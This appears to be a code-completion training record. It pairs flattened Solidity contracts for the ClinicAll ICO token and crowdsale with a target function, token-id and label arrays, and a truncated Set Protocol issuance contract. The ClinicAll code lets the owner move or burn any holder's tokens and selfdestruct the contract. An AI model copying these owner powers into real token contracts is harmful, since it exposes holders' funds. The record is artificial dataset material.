beneficiaryDepositedAmount.sub(_value); beneficiary.transfer(_value); } } // File: node_modules\zeppelin-solidity\contracts\lifecycle\TokenDestructible.sol /** * @title TokenDestructible: * @author Remco Bloemen <remco@2π.com> * @dev Base contract that can be destroyed by owner. All funds in contract including * listed tokens will be sent to the owner. */ contract TokenDestructible is Ownable { constructor() public payable { } /** * @notice Terminate contract and refund to owner * @param tokens List of addresses of ERC20 or ERC20Basic token contracts to refund. * @notice The called token contracts could try to re-enter this contract. Only supply token contracts you trust. */ function destroy(address[] tokens) onlyOwner public { // Transfer tokens to owner for (uint256 i = 0; i < tokens.length; i++) { ERC20Basic token = ERC20Basic(tokens[i]); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); } // Transfer Eth to owner and terminate contract selfdestruct(owner); } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\DetailedERC20.sol /** * @title DetailedERC20 token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: node_modules\zeppelin-solidity\contracts\lifecycle\Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: node_modules\zeppelin-solidity\contracts\token\ERC20\PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts\TransferableToken.sol /** * @title TransferableToken * @dev Base contract which allows to implement transfer for token. */ contract TransferableToken is Ownable { event TransferOn(); event TransferOff(); bool public transferable = false; /** * @dev Modifier to make a function callable only when the contract is not transferable. */ modifier whenNotTransferable() { require(!transferable); _; } /** * @dev Modifier to make a function callable only when the contract is transferable. */ modifier whenTransferable() { require(transferable); _; } /** * @dev called by the owner to enable transfers */ function transferOn() onlyOwner whenNotTransferable public { transferable = true; emit TransferOn(); } /** * @dev called by the owner to disable transfers */ function transferOff() onlyOwner whenTransferable public { transferable = false; emit TransferOff(); } } // File: contracts\ClinicAllToken.sol contract ClinicAllToken is MintableToken, DetailedERC20, CappedToken, PausableToken, BurnableToken, TokenDestructible, TransferableToken { constructor ( string _name, string _symbol, uint8 _decimals, uint256 _cap ) DetailedERC20(_name, _symbol, _decimals) CappedToken(_cap) public { } /*/ * Refund event when ICO didn't pass soft cap and we refund ETH to investors + burn ERC-20 tokens from investors balances /*/ function burnAfterRefund(address _who) public onlyOwner { uint256 _value = balances[_who]; _burn(_who, _value); } /*/ * Allow transfers only if token is transferable /*/ function transfer( address _to, uint256 _value ) public whenTransferable returns (bool) { return super.transfer(_to, _value); } /*/ * Allow transfers only if token is transferable /*/ function transferFrom( address _from, address _to, uint256 _value ) public whenTransferable returns (bool) { return super.transferFrom(_from, _to, _value); } function transferToPrivateInvestor( address _from, address _to, uint256 _value ) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function burnPrivateSale(address privateSaleWallet, uint256 _value) public onlyOwner { _burn(privateSaleWallet, _value); } } // File: node_modules\zeppelin-solidity\contracts\ownership\rbac\Roles.sol /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } // File: node_modules\zeppelin-solidity\contracts\ownership\rbac\RBAC.sol /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * Supports unlimited numbers of roles and addresses. * See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); /** * @dev reverts if addr does not have role * @param _operator address * @param _role the name of the role * // reverts */ function checkRole(address _operator, string _role) view public { roles[_role].check(_operator); } /** * @dev determine if addr has role * @param _operator address * @param _role the name of the role * @return bool */ function hasRole(address _operator, string _role) view public returns (bool) { return roles[_role].has(_operator); } /** * @dev add a role to an address * @param _operator address * @param _role the name of the role */ function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } /** * @dev remove a role from an address * @param _operator address * @param _role the name of the role */ function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param _role the name of the role * // reverts */ modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param _roles the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] _roles) { // bool hasAnyRole = false; // for (uint8 i = 0; i < _roles.length; i++) { // if (hasRole(msg.sender, _roles[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } // File: contracts\Managed.sol /** * @title Managed * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * This simplifies the implementation of "user permissions". */ contract Managed is Ownable, RBAC { string public constant ROLE_MANAGER = "manager"; /** * @dev Throws if operator is not whitelisted. */ modifier onlyManager() { checkRole(msg.sender, ROLE_MANAGER); _; } /** * @dev set an address as a manager * @param _operator address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function setManager(address _operator) public onlyOwner { addRole(_operator, ROLE_MANAGER); } /** * @dev delete an address as a manager * @param _operator address * @return true if the address was deleted from the whitelist, false if the address wasn't already in the whitelist */ function removeManager(address _operator) public onlyOwner { removeRole(_operator, ROLE_MANAGER); } } // File: contracts\Limited.sol /** * @title LimitedCrowdsale * @dev Crowdsale in which only limited number of tokens can be bought. */ contract Limited is Managed { using SafeMath for uint256; mapping(address => uint256) public limitsList; /** * @dev Reverts if beneficiary has no limit. Can be used when extending this contract. */ modifier isLimited(address _payee) { require(limitsList[_payee] > 0, "An investor is limited if it has a limit."); _; } /** * @dev Reverts if beneficiary want to buy more tickets than limit allows. Can be used when extending this contract. */ modifier doesNotExceedLimit(address _payee, uint256 _tokenAmount, uint256 _tokenBalance, uint256 kycLimitEliminator) { if(_tokenBalance.add(_tokenAmount) >= kycLimitEliminator) { require(_tokenBalance.add(_tokenAmount) <= getLimit(_payee), "An investor should not exceed its limit on buying."); } _; } /** * @dev Returns limits for _payee. * @param _payee Address to get token limits */ function getLimit(address _payee) public view returns (uint256) { return limitsList[_payee]; } /** * @dev Adds limits to addresses. * @param _payees Addresses to set limit * @param _limits Limit values to set to addresses */ function addAddressesLimits(address[] _payees, uint256[] _limits) public onlyManager { require(_payees.length == _limits.length, "Array sizes should be equal."); for (uint256 i = 0; i < _payees.length; i++) { addLimit(_payees[i], _limits[i]); } } /** * @dev Adds limit to address. * @param _payee Address to set limit * @param _limit Limit value to set to address */ function addLimit(address _payee, uint256 _limit) public onlyManager { limitsList[_payee] = _limit; } /** * @dev Removes single address-limit record. * @param _payee Address to be removed */ function removeLimit(address _payee) external onlyManager { limitsList[_payee] = 0; } } // File: node_modules\zeppelin-solidity\contracts\access\Whitelist.sol /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable, RBAC { string public constant ROLE_WHITELISTED = "whitelist"; /** * @dev Throws if operator is not whitelisted. * @param _operator address */ modifier onlyIfWhitelisted(address _operator) { checkRole(_operator, ROLE_WHITELISTED); _; } /** * @dev add an address to the whitelist * @param _operator address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address _operator) onlyOwner public { addRole(_operator, ROLE_WHITELISTED); } /** * @dev getter to determine if address is in whitelist */ function whitelist(address _operator) public view returns (bool) { return hasRole(_operator, ROLE_WHITELISTED); } /** * @dev add addresses to the whitelist * @param _operators addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } /** * @dev remove an address from the whitelist * @param _operator address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address _operator) onlyOwner public { removeRole(_operator, ROLE_WHITELISTED); } /** * @dev remove addresses from the whitelist * @param _operators addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } // File: contracts\ManagedWhitelist.sol /** * @title ManagedWhitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * This simplifies the implementation of "user permissions". */ contract ManagedWhitelist is Managed, Whitelist { /** * @dev add an address to the whitelist * @param _operator address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address _operator) public onlyManager { addRole(_operator, ROLE_WHITELISTED); } /** * @dev add addresses to the whitelist * @param _operators addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] _operators) public onlyManager { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } /** * @dev remove an address from the whitelist * @param _operator address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address _operator) public onlyManager { removeRole(_operator, ROLE_WHITELISTED); } /** * @dev remove addresses from the whitelist * @param _operators addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] _operators) public onlyManager { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } // File: contracts\ClinicAllCrowdsale.sol /// @title ClinicAll crowdsale contract /// @dev ClinicAll crowdsale contract contract ClinicAllCrowdsale is Crowdsale, FinalizableCrowdsale, MintedCrowdsale, ManagedWhitelist, Limited { constructor ( uint256 _tokenLimitSupply, uint256 _rate, address _wallet, address _privateSaleWallet, ERC20 _token, uint256 _openingTime, uint256 _closingTime, uint256 _discountTokenAmount, uint256 _discountTokenPercent, uint256 _preSaleClosingTime, uint256 _softCapLimit, ClinicAllRefundEscrow _vault, uint256 _buyLimitSupplyMin, uint256 _buyLimitSupplyMax, uint256 _kycLimitEliminator ) Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) public { privateSaleWallet = _privateSaleWallet; tokenSupplyLimit = _tokenLimitSupply; discountTokenAmount = _discountTokenAmount; discountTokenPercent = _discountTokenPercent; preSaleClosingTime = _preSaleClosingTime; softCapLimit = _softCapLimit; vault = _vault; buyLimitSupplyMin = _buyLimitSupplyMin; buyLimitSupplyMax = _buyLimitSupplyMax; kycLimitEliminator = _kycLimitEliminator; } using SafeMath for uint256; // refund vault used to hold funds while crowdsale is running ClinicAllRefundEscrow public vault; /*/ * Properties, constants /*/ //address public walletPrivateSaler; // Limit of tokens for supply during ICO public sale uint256 public tokenSupplyLimit; // Limit of tokens with discount on current contract uint256 public discountTokenAmount; // Percent value for discount tokens uint256 public discountTokenPercent; // Time when we finish pre sale uint256 public preSaleClosingTime; // Minimum amount of funds to be raised in weis uint256 public softCapLimit; // Min buy limit for each investor uint256 public buyLimitSupplyMin; // Max buy limit for each investor uint256 public buyLimitSupplyMax; // KYC Limit Eliminator for small and big investors uint256 public kycLimitEliminator; // Address where private sale funds are collected address public privateSaleWallet; // Private sale tokens supply limit uint256 public privateSaleSupplyLimit; // Public functions /*/ * @dev CrowdSale manager is able to change rate value during ICO * @param _rate wei to CHT tokens exchange rate */ function updateRate(uint256 _rate) public onlyManager { require(_rate != 0, "Exchange rate should not be 0."); rate = _rate; } /*/ * @dev CrowdSale manager is able to change min and max buy limit for investors during ICO * @param _min Minimal amount of tokens that could be bought * @param _max Maximum amount of tokens that could be bought */ function updateBuyLimitRange(uint256 _min, uint256 _max) public onlyOwner { require(_min != 0, "Minimal buy limit should not be 0."); require(_max != 0, "Maximal buy limit should not be 0."); require(_max > _min, "Maximal buy limit should be greater than minimal buy limit."); buyLimitSupplyMin = _min; buyLimitSupplyMax = _max; } /*/ * @dev CrowdSale manager is able to change Kyc Limit Eliminator for investors during ICO * @param _value amount of tokens that should be as eliminator */ function updateKycLimitEliminator(uint256 _value) public onlyOwner { require(_value != 0, "Kyc Eliminator should not be 0."); kycLimitEliminator = _value; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized, "Claim refunds is only possible if the ICO is finalized."); require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached."); uint256 deposit = vault.depositsOf(msg.sender); vault.withdraw(msg.sender); weiRaised = weiRaised.sub(deposit); ClinicAllToken(token).burnAfterRefund(msg.sender); } /** @dev Owner can claim full refund if a crowdsale is unsuccessful @param _txFee Transaction fee that will be deducted from an invested sum */ function claimRefundChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner { require(isFinalized, "Claim refunds is only possible if the ICO is finalized."); require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached."); uint256 _weiRefunded; address[] memory _refundeesList; (_weiRefunded, _refundeesList) = vault.withdrawChunk(_txFee, _chunkLength); weiRaised = weiRaised.sub(_weiRefunded); for (uint256 i = 0; i < _refundeesList.length; i++) { ClinicAllToken(token).burnAfterRefund(_refundeesList[i]); } } /** * @dev Get refundee list length */ function refundeesListLength() public onlyOwner view returns (uint256) { return vault.refundeesListLength(); } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return ((block.timestamp > closingTime) || tokenSupplyLimit <= token.totalSupply()); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return token.totalSupply() >= softCapLimit; } /** * @dev Checks rest of tokens supply. */ function supplyRest() public view returns (uint256) { return (tokenSupplyLimit.sub(token.totalSupply())); } //Private functions function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal doesNotExceedLimit(_beneficiary, _tokenAmount, token.balanceOf(_beneficiary), kycLimitEliminator) { super._processPurchase(_beneficiary, _tokenAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyIfWhitelisted(_beneficiary) isLimited(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); uint256 tokens = _getTokenAmount(_weiAmount); require(tokens.add(token.totalSupply()) <= tokenSupplyLimit, "Total amount fo sold tokens should not exceed the total supply limit."); require(tokens >= buyLimitSupplyMin, "An investor can buy an amount of tokens only above the minimal limit."); require(tokens.add(token.balanceOf(_beneficiary)) <= buyLimitSupplyMax, "An investor cannot buy tokens above the maximal limit."); } /** * @dev Te way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount with discount or not */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { if (isDiscount()) { return _getTokensWithDiscount(_weiAmount); } return _weiAmount.mul(rate); } /** * @dev Public method where ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens */ function getTokenAmount(uint256 _weiAmount) public view returns (uint256) { return _getTokenAmount(_weiAmount); } /** * @dev iternal method returns total tokens amount including discount */ function _getTokensWithDiscount(uint256 _weiAmount) internal view returns (uint256) { uint256 tokens = 0; uint256 restOfDiscountTokens = discountTokenAmount.sub(token.totalSupply()); uint256 discountTokensMax = _getDiscountTokenAmount(_weiAmount); if (restOfDiscountTokens < discountTokensMax) { uint256 discountTokens = restOfDiscountTokens; //get rest of WEI uint256 _rate = _getDiscountRate(); uint256 _discointWeiAmount = discountTokens.div(_rate); uint256 _restOfWeiAmount = _weiAmount.sub(_discointWeiAmount); uint256 normalTokens = _restOfWeiAmount.mul(rate); tokens = discountTokens.add(normalTokens); } else { tokens = discountTokensMax; } return tokens; } /** * @dev iternal method returns discount tokens amount * @param _weiAmount An amount of ETH that should be converted to an amount of CHT tokens */ function _getDiscountTokenAmount(uint256 _weiAmount) internal view returns (uint256) { require(_weiAmount != 0, "It should be possible to buy tokens only by providing non zero ETH."); uint256 _rate = _getDiscountRate(); return _weiAmount.mul(_rate); } /** * @dev Returns the discount rate value */ function _getDiscountRate() internal view returns (uint256) { require(isDiscount(), "Getting discount rate should be possible only below the discount tokens limit."); return rate.add(rate.mul(discountTokenPercent).div(100)); } /** * @dev Returns the exchange rate value */ function getRate() public view returns (uint256) { if (isDiscount()) { return _getDiscountRate(); } return rate; } /** * @dev Returns the status if the ICO's private sale has closed or not */ function isDiscount() public view returns (bool) { return (preSaleClosingTime >= block.timestamp); } /** * @dev Internal method where owner transfers part of tokens to reserve */ function transferTokensToReserve(address _beneficiary) private { require(tokenSupplyLimit < CappedToken(token).cap(), "Token's supply limit should be less that token' cap limit."); // calculate token amount to be created uint256 _tokenCap = CappedToken(token).cap(); uint256 tokens = _tokenCap.sub(tokenSupplyLimit); _deliverTokens(_beneficiary, tokens); } /** * @dev Enable transfers of tokens between wallets */ function transferOn() public onlyOwner { ClinicAllToken(token).transferOn(); } /** * @dev Disable transfers of tokens between wallets */ function transferOff() public onlyOwner { ClinicAllToken(token).transferOff(); } /** * @dev Internal method where owner transfers part of tokens to reserve and finish minting */ function finalization() internal { if (goalReached()) { transferTokensToReserve(wallet); vault.close(); } else { vault.enableRefunds(); } MintableToken(token).finishMinting(); super.finalization(); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to vault. */ function _forwardFunds() internal { super._forwardFunds(); vault.depositFunds(msg.sender, msg.value); } /** * @dev Throws if operator is not whitelisted. */ modifier onlyPrivateSaleWallet() { require(privateSaleWallet == msg.sender, "Wallet should be the same as private sale wallet."); _; } /** * @dev Public method where private sale manager can transfer tokens to private investors */ function transferToPrivateInvestor( address _beneficiary, uint256 _value ) public onlyPrivateSaleWallet onlyIfWhitelisted(_beneficiary) returns (bool) { ClinicAllToken(token).transferToPrivateInvestor(msg.sender, _beneficiary, _value); } /** * @dev Public method where private sale manager can transfer the rest of tokens form private sale wallet available to crowdsale */ function redeemPrivateSaleFunds() public onlyPrivateSaleWallet { uint256 _balance = ClinicAllToken(token).balanceOf(msg.sender); privateSaleSupplyLimit = privateSaleSupplyLimit.sub(_balance); ClinicAllToken(token).burnPrivateSale(msg.sender, _balance); } /** * @dev Internal method where private sale manager getting private sale limit amount of tokens * @param privateSaleSupplyAmount value of CHT tokens to add for private sale */ function allocatePrivateSaleFunds(uint256 privateSaleSupplyAmount) public onlyOwner { require(privateSaleSupplyLimit.add(privateSaleSupplyAmount) < tokenSupplyLimit, "Token's private sale supply limit should be less that token supply limit."); privateSaleSupplyLimit = privateSaleSupplyLimit.add(privateSaleSupplyAmount); _deliverTokens(privateSaleWallet, privateSaleSupplyAmount); } /** @dev Owner can withdraw part of funds during of ICO @param _value Transaction amoun that will be deducted from an vault sum */ function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner { vault.beneficiaryWithdrawChunk(_value); } /** @dev Owner can withdraw all funds during or after of ICO */ function beneficiaryWithdrawAll() public onlyOwner { vault.beneficiaryWithdrawAll(); } /** @dev Owner can do manual refund here if investore has "BAD" money @param _payee address of investor that needs to refund with next manual ETH sending */ function manualRefund(address _payee) public onlyOwner { uint256 deposit = vault.depositsOf(_payee); vault.manualRefund(_payee); weiRaised = weiRaised.sub(deposit); ClinicAllToken(token).burnAfterRefund(_payee); } }
* @dev Get refundee list length/
function refundeesListLength() public onlyOwner view returns (uint256) { return vault.refundeesListLength(); }
6,432,645
[ 1, 967, 1278, 318, 20953, 666, 769, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1278, 318, 323, 281, 682, 1782, 1435, 1071, 1338, 5541, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 9229, 18, 1734, 318, 323, 281, 682, 1782, 5621, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; pragma experimental "ABIEncoderV2"; import { ReentrancyGuard } from "openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol"; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { CoreOperationState } from "./CoreOperationState.sol"; import { CoreState } from "../lib/CoreState.sol"; import { CoreIssuanceLibrary } from "../lib/CoreIssuanceLibrary.sol"; import { ISetToken } from "../interfaces/ISetToken.sol"; import { SetTokenLibrary } from "../lib/SetTokenLibrary.sol"; /** * @title CoreIssuance * @author Set Protocol * * The CoreIssuance contract contains function related to issuing and redeeming Sets. */ contract CoreIssuance is CoreState, CoreOperationState, ReentrancyGuard { // Use SafeMath library for all uint256 arithmetic using SafeMath for uint256; /* ============ Events ============ */ event SetIssued( address _setAddress, uint256 _quantity ); event SetRedeemed( address _setAddress, uint256 _quantity ); /* ============ External Functions ============ */ /** * Issues a specified Set for a specified quantity to the caller * using the caller's components from the wallet and vault. * * @param _set Address of the Set to issue * @param _quantity Number of tokens to issue */ function issue( address _set, uint256 _quantity ) external nonReentrant { issueInternal( msg.sender, msg.sender, _set, _quantity ); } /** * Converts user's components into Set Tokens owned by the user and stored in Vault * * @param _set Address of the Set * @param _quantity Number of tokens to redeem */ function issueInVault( address _set, uint256 _quantity ) external nonReentrant { issueInVaultInternal( msg.sender, _set, _quantity ); } /** * Issues a specified Set for a specified quantity to the recipient * using the caller's components from the wallet and vault. * * @param _recipient Address to issue to * @param _set Address of the Set to issue * @param _quantity Number of tokens to issue */ function issueTo( address _recipient, address _set, uint256 _quantity ) external nonReentrant { issueInternal( msg.sender, _recipient, _set, _quantity ); } /** * Exchange Set tokens for underlying components to the user held in the Vault. * * @param _set Address of the Set to redeem * @param _quantity Number of tokens to redeem */ function redeem( address _set, uint256 _quantity ) external nonReentrant { redeemInternal( msg.sender, msg.sender, _set, _quantity ); } /** * Composite method to redeem and withdraw with a single transaction * * Normally, you should expect to be able to withdraw all of the tokens. * However, some have central abilities to freeze transfers (e.g. EOS). _toExclude * allows you to optionally specify which component tokens to exclude when * redeeming. They will remain in the vault under the users' addresses. * * @param _set Address of the Set * @param _to Address to withdraw or attribute tokens to * @param _quantity Number of tokens to redeem * @param _toExclude Mask of indexes of tokens to exclude from withdrawing */ function redeemAndWithdrawTo( address _set, address _to, uint256 _quantity, uint256 _toExclude ) external nonReentrant { uint256[] memory componentTransferValues = redeemAndDecrementVault( _set, msg.sender, _quantity ); // Calculate the withdraw and increment quantities to specified address uint256[] memory incrementTokenOwnerValues; uint256[] memory withdrawToValues; ( incrementTokenOwnerValues, withdrawToValues ) = CoreIssuanceLibrary.calculateWithdrawAndIncrementQuantities( componentTransferValues, _toExclude ); address[] memory components = ISetToken(_set).getComponents(); // Increment excluded components to the specified address state.vaultInstance.batchIncrementTokenOwner( components, _to, incrementTokenOwnerValues ); // Withdraw non-excluded components and attribute to specified address state.vaultInstance.batchWithdrawTo( components, _to, withdrawToValues ); } /** * Convert the caller's Set tokens held in the vault into underlying components to the user * held in the Vault. * * @param _set Address of the Set * @param _quantity Number of tokens to redeem */ function redeemInVault( address _set, uint256 _quantity ) external nonReentrant { // Decrement ownership of Set token in the vault state.vaultInstance.decrementTokenOwner( _set, msg.sender, _quantity ); redeemInternal( state.vault, msg.sender, _set, _quantity ); } /** * Redeem Set token and return components to specified recipient. The components * are left in the vault after redemption in the recipient's name. * * @param _recipient Recipient of Set being issued * @param _set Address of the Set * @param _quantity Number of tokens to redeem */ function redeemTo( address _recipient, address _set, uint256 _quantity ) external nonReentrant { redeemInternal( msg.sender, _recipient, _set, _quantity ); } /* ============ Internal Functions ============ */ /** * Exchange components for Set tokens, accepting any owner * Used in issue, issueTo, and issueInVaultInternal * The tokens minted are held by the recipient specified in _setRecipient. * * @param _componentOwner Address to use tokens from * @param _setRecipient Address to issue Set to * @param _set Address of the Set to issue * @param _quantity Number of tokens to issue */ function issueInternal( address _componentOwner, address _setRecipient, address _set, uint256 _quantity ) internal whenOperational { // Verify Set was created by Core and is enabled require( state.validSets[_set], "IssueInternal" ); // 